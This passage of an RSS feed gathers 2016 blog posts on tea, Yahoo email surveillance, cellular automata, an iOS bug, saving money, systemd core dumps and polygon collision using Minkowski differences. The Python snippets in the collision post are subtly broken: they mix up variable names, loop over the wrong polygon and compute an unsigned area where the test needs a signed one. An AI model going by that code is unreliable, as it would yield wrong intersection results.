&lt;p&gt;Only one tea on the Teavana® menu passes my filter for what I would consider to be &amp;ldquo;clean&amp;rdquo;.  It is &amp;hellip; (drum roll) &amp;hellip;&lt;/p&gt;</description><author>Craig Pardey</author><pubDate>Thu, 06 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.craigpardey.com/post/2016-10-06-clean-tea-part-ii/</guid></item><item><title>Yahoo, or why geeks need to give ALL their friends a PERSONAL email server now</title><link>https://stop.zona-m.net/2016/10/yahoo-or-why-geeks-need-to-give-all-their-friends-a-personal-mail-server-now/</link><description>&lt;p&gt;By now, you probably already know that &lt;a href="http://www.reuters.com/article/us-yahoo-nsa-exclusive-idUSKCN1241YT"&gt;Yahoo scanned customer emails for U.S. intelligence&amp;quot;&lt;/a&gt;, and if you haven&amp;rsquo;t you can read all the details in the previous link, or in many other places. Here, I &lt;strong&gt;only&lt;/strong&gt; want to&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 05 Oct 2016 10:35:19 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2016/10/yahoo-or-why-geeks-need-to-give-all-their-friends-a-personal-mail-server-now/</guid></item><item><title>Links - October 5th, 2016</title><link>https://faingezicht.com/links/2016/10/05/links/</link><description>Just like last week, these were ready yesterday, but the debate talk made me push them for a day. A lot of political content, but the kind that runs deeper than the election cycle's scandal du jour.

It might be time for me to solidify some of these thoughts, and do a write-up of my own.</description><author>Avy Faingezicht</author><pubDate>Wed, 05 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/10/05/links/</guid></item><item><title>Rachel Andrew: Developer, Speaker &amp;amp; Founder of Perch</title><link>https://solomon.io/rachel-andrew-developer-speaker-founder-of-perch/</link><description>Rachel Andrew Rachel Andrew is a developer, speaker, author, and founder of Perch, a friendly CMS.</description><author>Sam Solomon</author><pubDate>Tue, 04 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/rachel-andrew-developer-speaker-founder-of-perch/</guid></item><item><title>Cellular Automata Fiddler</title><link>https://hughw.net/ca/index.html</link><description>The eight boxes below represent a rule. The rule governs how to color
			any pixel in a row, based on the state of the pixels in the row above.
			The three smaller boxes within each larger box represent the states of  
			pixels on the previous row: the pixels to the left, directly over, and to the 
			right of the current pixel on the new row. If you check the checkbox, the 
			rule will color the pixel on the new row, if the three pixels on the previous
			row are in the states shown.	
			
			
			This section from Wolfram's book
			explains it all better than I can.</description><author>Hugh Winkler</author><pubDate>Tue, 04 Oct 2016 01:50:08 GMT</pubDate><guid isPermaLink="true">https://hughw.net/ca/index.html</guid></item><item><title>Texas Water Well Levels since 2004</title><link>https://hughw.net/h2o/texas-water-well-level-movie.html</link><description>I made a movie of the changes in Texas water well levels since 2004.</description><author>Hugh Winkler</author><pubDate>Tue, 04 Oct 2016 01:50:08 GMT</pubDate><guid isPermaLink="true">https://hughw.net/h2o/texas-water-well-level-movie.html</guid></item><item><title>Lula Lake Then and Now</title><link>https://hughw.net/lula-lake/index.html</link><description>As a teenager in the 1970s, I visited
                    Lula Lake
                    frequently. My friends and I swam, clambered over rocks, and drank beer
                    in this wooded hideout on Lookout Mountain. 
                
                 A few years ago, I found a plate by photographer
                    G. N. Barnard,
                    traveling with the Union army about 1864 (or possibly after the war, in 1866).
                    It’s moving to see this special place I know so well, photographed a century and a half ago.
                
                
                    Last week I had the opportunity to visit Lula Lake for the first time in forty years.
                    I clambered across Rock Creek and onto the boulder I believe Barnard must have
                    stood upon to take his photograph. It’s possible he used a larger, higher boulder that
                    stood 30 feet behind this one. That boulder was too challenging for me to ascend, and
                    its view, now, is obscured by trees. So let’s assume I found the right boulder. I took
                    my own photo from this position, and I've overlaid it onto the Barnard photo below.
                    I’ve managed to align a couple of key anchor points. The cliff at right seems to
                    have a different character, making me wonder how that would have looked from the
                    alternate position on the other boulder. Still, I’m happy with the overlay, and
                    I was close enough to Barnard's true position that I got the re-enactor’s experience.</description><author>Hugh Winkler</author><pubDate>Tue, 04 Oct 2016 01:50:08 GMT</pubDate><guid isPermaLink="true">https://hughw.net/lula-lake/index.html</guid></item><item><title>iOS 10 Landscape Rotation Lock Bug</title><link>https://btmiller.com/2016/10/03/ios-10-rotation-lock-bug.html</link><description>&lt;p&gt;I encounter this periodically whenever I’m laying in bed with my iPhone at an angle, but I could never nail down exactly why the home screen kept reverting to landscape orientation. What adds to the frustration is that a mechanism like rotation lock always seems to sneak in an annoying bug into each major iOS release. Whether this bug was introduced with iOS 10 or was already present, I figured out the steps necessary to reproduce it.&lt;/p&gt;

&lt;div class="bs-callout bs-callout-info"&gt;
  &lt;p&gt;It appears that this bug has been fixed as of iOS 10.2. Developer Relations reached out to confirm that the behavior is gone and the Radar I filed is now marked as closed. If you’re still experiencing this issue, try updating to the latest version of iOS.&lt;/p&gt;
&lt;/div&gt;

&lt;h3 id="step-1"&gt;Step 1&lt;/h3&gt;
&lt;p&gt;Open an app that supports landscape orientation. When it’s in landscape orientation, lock the screen.&lt;/p&gt;

&lt;h3 id="step-2"&gt;Step 2&lt;/h3&gt;
&lt;p&gt;While the iPhone is still in landscape orientation, unlock the screen.&lt;/p&gt;

&lt;h3 id="step-3"&gt;Step 3&lt;/h3&gt;
&lt;p&gt;While still in the app from Step 1, swipe up for Control Center and enable Rotation Lock.&lt;/p&gt;

&lt;h3 id="step-4"&gt;Step 4&lt;/h3&gt;
&lt;p&gt;Press the Home button to exit to the home screen, swipe between screens, and the orientation should snap back to landscape erroneously.&lt;/p&gt;

&lt;p&gt;Or if you prefer video of the bug in action:&lt;/p&gt;



&lt;p&gt;I also filed a Radar (28604232) for this bug, so hopefully it doesn’t fall down a black hole. Leave a comment if you have any ideas on how to fix it or why simple things like this seemingly never make it into any regression testing.&lt;/p&gt;</description><author/><pubDate>Tue, 04 Oct 2016 01:34:00 GMT</pubDate><guid isPermaLink="true">https://btmiller.com/2016/10/03/ios-10-rotation-lock-bug.html</guid></item><item><title>La base de la inversión: el Ahorro</title><link>https://danielpecos.com/2016/10/03/la-base-de-la-inversion-el-ahorro/</link><description>&lt;p&gt;&lt;img alt="Ahorro" class="alignleft size-full" height="300" src="https://danielpecos.com/assets/2016/10/saving-money-in-the-piggy-bank_1133-86-e1475095442900.jpg" width="300" /&gt;Posiblemente si algo tuviera que ser la piedra angular de la inversión, apostaría a que lo es el ahorro.&lt;/p&gt;
&lt;p&gt;Y es que parece lógico que para poder invertir en cualquier tipo de producto financiero, es necesario disponer de un &lt;strong&gt;mínimo de líquido disponible&lt;/strong&gt;. Parece una obviedad, pero la &lt;strong&gt;constancia en el ahorro&lt;/strong&gt;, determinará nuestra disponibilidad de capital para la inversión.&lt;/p&gt;
&lt;p&gt;Pienso que ahorro e inversión son dos caras de una misma moneda: &lt;strong&gt;el ahorro es la herramienta que permite a la inversión hacer que éstos crezcan&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Por ello es importante preparar un &lt;a href="https://es.wikipedia.org/wiki/Estado_de_flujo_de_efectivo" rel="noopener" target="_blank"&gt;análisis del flujo de efectivo&lt;/a&gt; mensual. Un simple &lt;strong&gt;ejercicio de introspectiva financiera&lt;/strong&gt;. No es más que una hoja de cálculo donde se indiquen todos los ingresos y gastos previstos mes a mes. No es necesario ser super detallado, pero sí no olvidar ninguno de los gastos que de forma normal ocurren en cada periodo del año (primas de seguros, gastos de comunidad, vacaciones, etc). Es muy importante ser honesto con uno mismo, así como también incluir una partida para gastos imprevistos.&lt;/p&gt;
&lt;p&gt;Con este análisis veremos cuál es nuestro disponible estimado mes a mes, y así poder determinar qué montante destinamos a ahorro. Personalmente he decidido ahorrar 500€ todos los meses. Es una cantidad que está &lt;strong&gt;ligeramente por encima de lo que me resulta cómodo&lt;/strong&gt;, pero creo que de esta forma podré acercarme más rápidamente a la libertad financiera.&lt;/p&gt;
&lt;p&gt;Todavía es pronto, pero voy intuyendo que poner todos los huevos en la misma cesta no es una opción demasiado acertada, por lo que tendré que ir planteándome cómo repartir estos ahorros mensuales en distintos tipos de inversión, no sólo bolsa.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Diversificar&lt;/strong&gt; al fin y al cabo, posiblemente otras de las herramientas base para conseguir &lt;strong&gt;mayor seguridad&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;No quiero perder el foco: no quiero dejar totalmente al azar el futuro de mis ahorros, si no que quiero &lt;strong&gt;minimizar riesgos aunque ello implique un rendimiento menor&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Aunque tampoco quiero engañarme: &lt;strong&gt;algún riesgo hay que asumir&lt;/strong&gt;, aunque éste sea menor.&lt;/p&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Mon, 03 Oct 2016 10:09:37 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2016/10/03/la-base-de-la-inversion-el-ahorro/</guid></item><item><title>Fibonacci</title><link>https://www.anardil.net/2016/fibonacci.html</link><description>&lt;p&gt;More than 1,1,2,3,5,8,13&lt;/p&gt;</description><author>Anardil</author><pubDate>Mon, 03 Oct 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">https://www.anardil.net/2016/fibonacci.html</guid></item><item><title>Should I hand over my account &amp;amp; card details?</title><link>https://pricey.uk/blog/should-i-hand-over-my-account-card/</link><description>&lt;p&gt;While logging in to online banking...&lt;/p&gt;</description><author>Joseph Price</author><pubDate>Mon, 03 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://pricey.uk/blog/should-i-hand-over-my-account-card/</guid></item><item><title>Blogtober 2016, #2</title><link>https://rjp.is/blogging/posts/blogtober-2016-2-2/</link><description>Today&amp;rsquo;s #inktober prompt was &amp;ldquo;NOISY&amp;rdquo;. Not a great effort but at least he looks human.
Also had a decent Cathedral win on BoI:A even though the very first item was Dr Fetus - made for some tense dodging and shimmying! Still haven&amp;rsquo;t managed a win streak of more than one but the loss streaks are slowly getting shorter&amp;hellip;</description><author>infrequent oscillations</author><pubDate>Sun, 02 Oct 2016 23:39:33 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/blogtober-2016-2-2/</guid></item><item><title>There are my core dumps!</title><link>https://blog.gnoack.org/post/there-are-my-core-dumps</link><description>&lt;p&gt;&lt;a href="https://www.unix-ag.uni-kl.de/~guenther/where-are-my-core-dumps.html"&gt;As noted
before&lt;/a&gt;,
with &lt;code&gt;systemd&lt;/code&gt;, your core dumps disappear into one of &lt;code&gt;systemd&lt;/code&gt;&amp;rsquo;s log
sinks, instead of being stored to the current directory. By now, they
are recoverable by normal users again.&lt;/p&gt;
&lt;p&gt;TL;DR: Run &lt;code&gt;coredumpctl gdb&lt;/code&gt; to invoke &lt;code&gt;gdb&lt;/code&gt; with the most recent core dump.&lt;/p&gt;
&lt;p&gt;Related bug about disappearing coredumps:
&lt;a href="https://bugs.freedesktop.org/show_bug.cgi?id=54288"&gt;https://bugs.freedesktop.org/show_bug.cgi?id=54288&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Scenario: A simple program that crashes with a segfault:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;~/dumpcore$ cat dumpcore.c
#include &amp;lt;unistd.h&amp;gt;
void dump_core()   { int* boom = NULL; *boom = 2000; }
void its_time_to() { dump_core(); }
int main()         { its_time_to(); }
~/dumpcore$ cc -g -o dumpcore dumpcore.c
~/dumpcore$ ./dumpcore
Segmentation fault (core dumped)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Core dumps get written to &lt;code&gt;systemd&lt;/code&gt;&amp;rsquo;s core dumps directory (see &lt;code&gt;man coredumpctl&lt;/code&gt;), and can be retrieved with the &lt;code&gt;coredumpctl&lt;/code&gt; tool:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;~/dumpcore$ coredumpctl list
TIME                            PID   UID   GID SIG PRESENT EXE
...
Sun 2016-10-02 14:44:14 CEST   3857  1000   100  11 * /home/me/dumpcore/dumpcore
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By default, &lt;code&gt;coredumpctl&lt;/code&gt; seems to use the most recent core dump,
so that you can easily inspect the most recent core dump with:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;~/dumpcore$ coredumpctl gdb
           PID: 3857 (dumpcore)
           UID: 1000 (me)
           GID: 100 (users)
        Signal: 11 (SEGV)
     Timestamp: Sun 2016-10-02 14:44:14 CEST (1min 3s ago)
  Command Line: ./dumpcore
    Executable: /home/me/dumpcore/dumpcore
 Control Group: /user.slice/user-1000.slice/user@1000.service/gnome-terminal-server.service
          Unit: user@1000.service
     User Unit: user@1000.service
         Slice: user-1000.slice
     Owner UID: 1000 (me)
       Boot ID: 73902fbce4e241f5bab007aad96895eb
    Machine ID: 3ff4d30a94914397acd6af26eed15114
      Hostname: limbo
      Coredump: /var/lib/systemd/coredump/core.dumpcore.1000.73902fbce4e241f5bab007aad96895eb.3857.1475412254000000000000.lz4
       Message: Process 3857 (dumpcore) of user 1000 dumped core.

                Stack trace of thread 3857:
                #0  0x00000000004004b6 dump_core (dumpcore)
                #1  0x00000000004004cd its_time_to (dumpcore)
                #2  0x00000000004004de main (dumpcore)
                #3  0x00007f89ba351291 __libc_start_main (libc.so.6)
                #4  0x00000000004003da _start (dumpcore)

GNU gdb (GDB) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later &amp;lt;http://gnu.org/licenses/gpl.html&amp;gt;
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type &amp;quot;show copying&amp;quot;
and &amp;quot;show warranty&amp;quot; for details.
This GDB was configured as &amp;quot;x86_64-pc-linux-gnu&amp;quot;.
Type &amp;quot;show configuration&amp;quot; for configuration details.
For bug reporting instructions, please see:
&amp;lt;http://www.gnu.org/software/gdb/bugs/&amp;gt;.
Find the GDB manual and other documentation resources online at:
&amp;lt;http://www.gnu.org/software/gdb/documentation/&amp;gt;.
For help, type &amp;quot;help&amp;quot;.
Type &amp;quot;apropos word&amp;quot; to search for commands related to &amp;quot;word&amp;quot;...
Reading symbols from /home/me/dumpcore/dumpcore...done.
[New LWP 3857]

warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need &amp;quot;set solib-search-path&amp;quot; or &amp;quot;set sysroot&amp;quot;?
Core was generated by `./dumpcore'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x00000000004004b6 in dump_core () at dumpcore.c:2
2	void dump_core()   { int* boom = NULL; *boom = 2000; }
(gdb) bt
#0  0x00000000004004b6 in dump_core () at dumpcore.c:2
#1  0x00000000004004cd in its_time_to () at dumpcore.c:3
#2  0x00000000004004de in main () at dumpcore.c:4
(gdb)
&lt;/code&gt;&lt;/pre&gt;</description><author>Blog on blog.gnoack.org</author><pubDate>Sun, 02 Oct 2016 18:45:00 GMT</pubDate><guid isPermaLink="true">https://blog.gnoack.org/post/there-are-my-core-dumps</guid></item><item><title>Russia is..</title><link>https://rybakov.com/blog/chicken/</link><description>&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="chicken5" loop="true" poster="/video/chicken5/chicken5.jpg"&gt;
      &lt;source src="../video/chicken5/chicken5.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="chicken5buffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="chicken5paused"&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;..growing chicken under a high voltage transformer station.&lt;/p&gt;
&lt;p&gt;Фермерские хозяйства, деревни и села расцветают, если включить попсу девяностых.&lt;br /&gt;
&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="farmmusic" loop="true" poster="/video/farmmusic/farmmusic.jpg"&gt;
      &lt;source src="../video/farmmusic/farmmusic.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="farmmusicbuffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="farmmusicpaused"&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Sun, 02 Oct 2016 17:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/chicken/</guid></item><item><title>Blogtober 2016, #1</title><link>https://rjp.is/blogging/posts/blogtober-2016-1-2/</link><description>Made some musical output using a couple of samples taken from a Tidal performance by Alex (with permission) - &amp;ldquo;Deconstructing Yaxu&amp;rdquo;
Mostly just a droney throbby glitchy noisescape thrown together using Samplr in a coffee shop.
Also did day 1, &amp;ldquo;fast&amp;rdquo;, of #inktober.</description><author>infrequent oscillations</author><pubDate>Sun, 02 Oct 2016 00:53:43 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/blogtober-2016-1-2/</guid></item><item><title>Minkowski Asteroids</title><link>https://nickp.svbtle.com/asteroid-intersections</link><description>&lt;p&gt;We have two convex polygons &lt;code class="prettyprint"&gt;P&lt;/code&gt; and &lt;code class="prettyprint"&gt;Q&lt;/code&gt; each moving at constant velocities &lt;code class="prettyprint"&gt;Vp&lt;/code&gt; and &lt;code class="prettyprint"&gt;Vq&lt;/code&gt;. At some point in time they &lt;strong&gt;may&lt;/strong&gt; pass through one another. We would like to find the point in time at which the area of their intersection is at a maximum. Here is a simple visualization, where the yellow area represents the intersection and the arrow heads represents the velocity of the polygons.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/ksl17eoepmjkww.gif"&gt;&lt;img alt="output_z4aALm.gif" src="https://svbtleusercontent.com/ksl17eoepmjkww_small.gif" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let’s first look at the problem of testing whether two polygons intersect. The simplest way to do it is to check if any edges of one polygon intersect any edges of the other. For this we need a line segment intersection algorithm. We can check if two line segments &lt;code class="prettyprint"&gt;A - B&lt;/code&gt; and &lt;code class="prettyprint"&gt;C - D&lt;/code&gt; intersect if the signed area of the triangle &lt;code class="prettyprint"&gt;A, B, C&lt;/code&gt; is different from the signed area of the triangle &lt;code class="prettyprint"&gt;A, B, D&lt;/code&gt; and similarly for  &lt;code class="prettyprint"&gt;C, D, A&lt;/code&gt; and &lt;code class="prettyprint"&gt;C, D, B&lt;/code&gt;. It’s simple and runs in &lt;code class="prettyprint"&gt;O(N^2)&lt;/code&gt;. Here’s the code:&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint"&gt;import numpy as np

def area(A, B, C):
     return np.linalg.norm(np.cross(B - A, B - C)) * 0.5

def intersect(A, B, C, D):
    return area(A, B, C) != area(A, B, D) and area(C, D, A) != area(C, D, B)

def polygons_intersect(P, Q):
    n = len(P)
    m = len(P)
    for i in xrange(n):
        for j in xrange(m):
            if intersect(P[i], P[(i+1)%n], Q[j], Q[(j+1)%m]):
                return True
    return False
&lt;/code&gt;&lt;/pre&gt;
&lt;h1 id="aside_1"&gt;Aside: &lt;a class="head_anchor" href="#aside_1"&gt;#&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;There is a another way to do this using something called the &lt;a href="https://en.wikipedia.org/wiki/Hyperplane_separation_theorem"&gt;hyperplane separation theorem&lt;/a&gt;. Rather than explaining it I’ll plot an example of how it works in two dimensions, which I think is more helpful. Take each edge of the polygons in questions and extend them outwards in the direction of their normals. In the plots below the dotted lines represent normals and the solid lines, the extensions of and edges of one of the polygons. Let’s call extensions of the edges “barriers”.  Now consider projecting both shapes onto any of the barriers. This would turn them into line segments on the barriers. In the case of intersection these segments would overlap on all the barriers. Look at this plot and confirm that projecting the shapes in the center onto any barrier would yield a solid line segment, not two.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/diozord5fvahpa.png"&gt;&lt;img alt="Screenshot 2016-10-01 11.50.13.png" src="https://svbtleusercontent.com/diozord5fvahpa_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is different in the case where there is no intersection. In this case there is at least one barrier where the projection of the shapes do not for a solid line segment. In this example it’s the purple barrier and you can see that the normal to this barrier actually shows the separation of the shapes (purple dotted line). How do we check if the projection of the shapes on to the barrier intersect? We can project those segments again down onto something simple line a horizontal line and see if their endpoints overlap.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/pl9jjtwrtkb6lq.png"&gt;&lt;img alt="Screenshot 2016-10-01 12.03.15.png" src="https://svbtleusercontent.com/pl9jjtwrtkb6lq_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Armed with some fast polygon intersection algorithms we can go back to our original problem and try various points in time and check whether the polygons intersect. This is still not great because there is no guarantee that they &lt;strong&gt;will&lt;/strong&gt; intersect and even then, what we are actually looking for is the range of times during which the shapes intersect so we can compute the maximum area of overlap. &lt;/p&gt;

&lt;p&gt;Let’s try another approach. First let’s make a simplification and assume that one of the shapes is stationary and the other is moving relative to it. Let’s project each point on our moving polygon out in the direction of its velocity. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/iuy1yyercc7z1g.png"&gt;&lt;img alt="Screenshot 2016-10-01 12.37.29.png" src="https://svbtleusercontent.com/iuy1yyercc7z1g_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;These rays may or may not intersect the other polygon. In this case we have four intersections. With each of the intersections we can compute a time based on the velocity of the polygon. We can sort these times and return the minimum and maximum as time range of overlap.&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint"&gt;def overlap_range(P, Q, V):
    for x, y in zip(*Q.exterior.xy):

        # simulate a ray as a long line segment
        SCALE = 1e10
        segment_x = [ x, x + SCALE*V[0] ]
        segment_y = [ y, y + SCALE*V[1] ]
        line = [segment_x, segment_y]

        points = intersections(P, line)

        for point in points:
            ix, iy = point.x, point.y
            # time of intersection
            when = math.hypot(x-ix, y-iy) / math.hypot(V[0], V[1])

        intersection_times.append(when)

    intersection_times.sort()

    if len(intersection_time) == 0:
        print "polygons never overlap"
    elif len(intersection_time) == 1:
        print "polygons touch by don't overlap"

    return intersection_time[0], intersection_time[-1]

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Here each point on the polygon creates a line segment and that is tested against each edge of the other polygon. So we’ve handled the issues of when the polygons don’t ever intersect but we can do even better with &lt;a href="https://en.wikipedia.org/wiki/Minkowski_space"&gt;Minkowski geometry&lt;/a&gt;. We’ll use something called the Minkowski difference between two sets of points. In image processing it’s related to &lt;a href="https://en.wikipedia.org/wiki/Erosion_(morphology)"&gt;erosion&lt;/a&gt;. What this does is take one shape, mirror it about the origin and then compute the Minkowski sum of the mirrored shape and the other one. The Minkowski sum is related to &lt;a href="https://en.wikipedia.org/wiki/Dilation_(morphology)"&gt;dilation&lt;/a&gt; and for two sets of points &lt;code class="prettyprint"&gt;P&lt;/code&gt; and &lt;code class="prettyprint"&gt;Q&lt;/code&gt; is defined as all points &lt;code class="prettyprint"&gt;p+q&lt;/code&gt; where &lt;code class="prettyprint"&gt;p&lt;/code&gt; is in &lt;code class="prettyprint"&gt;P&lt;/code&gt; and &lt;code class="prettyprint"&gt;q&lt;/code&gt; is in &lt;code class="prettyprint"&gt;Q&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;Don’t worry two much about the definitions. Here is the &lt;strong&gt;key point&lt;/strong&gt; to understand. We are looking to compute if the two polygons intersect. If they intersect there is a point in each polygon that is inside both of them. If so mirroring one polygon and computing the Minkowski sum polygon would create a polygon that contains the origin.&lt;/p&gt;

&lt;p&gt;Here’s some code to compute the Minkowski difference between two polygons. Since both sets are convex we take the convex hull of the resulting polygon to create a new convex polygon.&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint"&gt;def minkowski_difference(P, Q):

    R = []

    for i in xrange(len(P)):
        for j in xrange(len(Q)):
            R.append((P[i] - Q[j], P[i] - Q[j]))

    return convex_hull(R)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The &lt;a href="https://en.wikipedia.org/wiki/Convex_hull"&gt;convex hull&lt;/a&gt; is just the minimum sized convex polygon that encloses all the points. If you hammer a bunch of nails into a board and stretch an elastic band around all the the nails; the nails that touch the elastic band are the convex hull. It can be computed in &lt;code class="prettyprint"&gt;O(N*log(N))&lt;/code&gt; with a &lt;a href="https://en.wikipedia.org/wiki/Graham_scan"&gt;Graham Scan&lt;/a&gt;. Here’s a image showing two sets of points (red and blue) and their corresponding convex hulls. It also shows the intersection in yellow which is the convex hull of the points in both polygons and the intersection points. Seeing this go back and confirm the &lt;strong&gt;key point&lt;/strong&gt; above that if the polygons intersect their Minkowski difference contains the origin.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/swbpyosqm1fgg.png"&gt;&lt;img alt="Screenshot 2016-10-02 14.06.38.png" src="https://svbtleusercontent.com/swbpyosqm1fgg_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now instead of having two polygons we have one green polygon that is the Minkowski difference of the other two. In addition, from the definition of the Minkowski difference, we know that if the origin is inside this polygon the two comprising polygons intersect one another. This is a really important fact which let’s us compute collisions really fast and more importantly when the collision will happen. We can also compute the first and last points of intersection of these polygons using a single ray from the origin in the direction of the relative velocities of the polygons.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/ofqg5xpm85tfwq.png"&gt;&lt;img alt="Screenshot 2016-10-01 13.18.39.png" src="https://svbtleusercontent.com/ofqg5xpm85tfwq_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here’s an illustration of what is happening in both normal and Minkowski space. You can see the blue and red polygons passing through one another. At the same time you can watch the green polygon representing the Minkowski difference between the red and blue polygon moving through the origin at the same time.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/ynfpafrpvx0dpw.gif"&gt;&lt;img alt="output_XH5Mwd.gif" src="https://svbtleusercontent.com/ynfpafrpvx0dpw_small.gif" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once we’ve retrieved this range (the first and last intersection times) we can sample some points in that range and compute the overlap. The intersection of two convex polygons another convex polygon which is the convex hull of the intersections points and points that lie inside both polygons. Using our convex hull function and our intersection function we can compute this polygon and then use the &lt;a href="https://en.wikipedia.org/wiki/Shoelace_formula"&gt;Surveyor’s Algorithm&lt;/a&gt; to compute the area.&lt;/p&gt;

&lt;p&gt;Finally putting all the pieces together we have an algorithm that takes the Minkowski difference of two polygons then computes the (generally) two points of intersection of the ray from the origin to the Minkowski difference polygon. Using the times of the two intersections we can compute the overlap of the two polygons as a function of time. Plotting the result we get this.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/gloajfbi5lwdna.png"&gt;&lt;img alt="Screenshot 2016-10-01 12.55.45.png" src="https://svbtleusercontent.com/gloajfbi5lwdna_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The final task remains to compute the maximum of this function. It seems that that the overlap is unimodal where the maximum is reached if one shape is entirely inside the other. Theres is proof in this &lt;a href="https://hal.archives-ouvertes.fr/inria-00073859/document"&gt;paper&lt;/a&gt; . Since the function is unimodal we can use a &lt;a href="https://en.wikipedia.org/wiki/Ternary_search"&gt;ternary search&lt;/a&gt; to quickly compute the maximum in &lt;code class="prettyprint"&gt;O(log N)&lt;/code&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint"&gt;def findMax(objectiveFunc, lower, upper):

    if abs(upper - lower) &amp;lt; 1e-6:
        return (lower + upper)/2

    lowerThird = (2*lower + upper)/3
    upperThird = (lower + 2*upper)/3

    if objectiveFunc(lowerThird) &amp;lt; objectiveFunc(upperThird):
        return findMax(objectiveFunc, lowerThird, upper)
    else:
        return findMax(objectiveFunc, lower, upperThird)

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Minkowski geometry extends to &lt;code class="prettyprint"&gt;N&lt;/code&gt; dimensions and the principles stay the same - which can make it easier to do things like collision detection and response in 3 dimensions where the more simplistic methods don’t generalize well. This question was posed at the ICPC ACM World Finals. &lt;/p&gt;</description><author>Nicholas Pilkington</author><pubDate>Sat, 01 Oct 2016 20:23:39 GMT</pubDate><guid isPermaLink="true">https://nickp.svbtle.com/asteroid-intersections</guid></item><item><title>Cambodia travel bookmarks</title><link>https://xenodium.com/cambodia-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;Pub Street (Siem Reap, Cambodia).&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 01 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/cambodia-travel-bookmarks</guid></item><item><title>New York travel bookmarks</title><link>https://xenodium.com/new-york-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.lonelyplanet.com/usa/new-york-city/travel-tips-and-articles/best-taco-joints-in-new-york-city"&gt;Best taco joints in New York City - Lonely Planet&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/EricaJoy/status/1079505326922174464"&gt;Nice and/or fancy restaurant to eat at in brooklyn (Erica Joy's tweet)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 01 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/new-york-travel-bookmarks</guid></item><item><title>Glossolalia</title><link>https://rybakov.com/blog/lall/</link><description>&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="screamings" loop="true" poster="/video/screamings/screamings.jpg"&gt;
      &lt;source src="../video/screamings/screamings.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
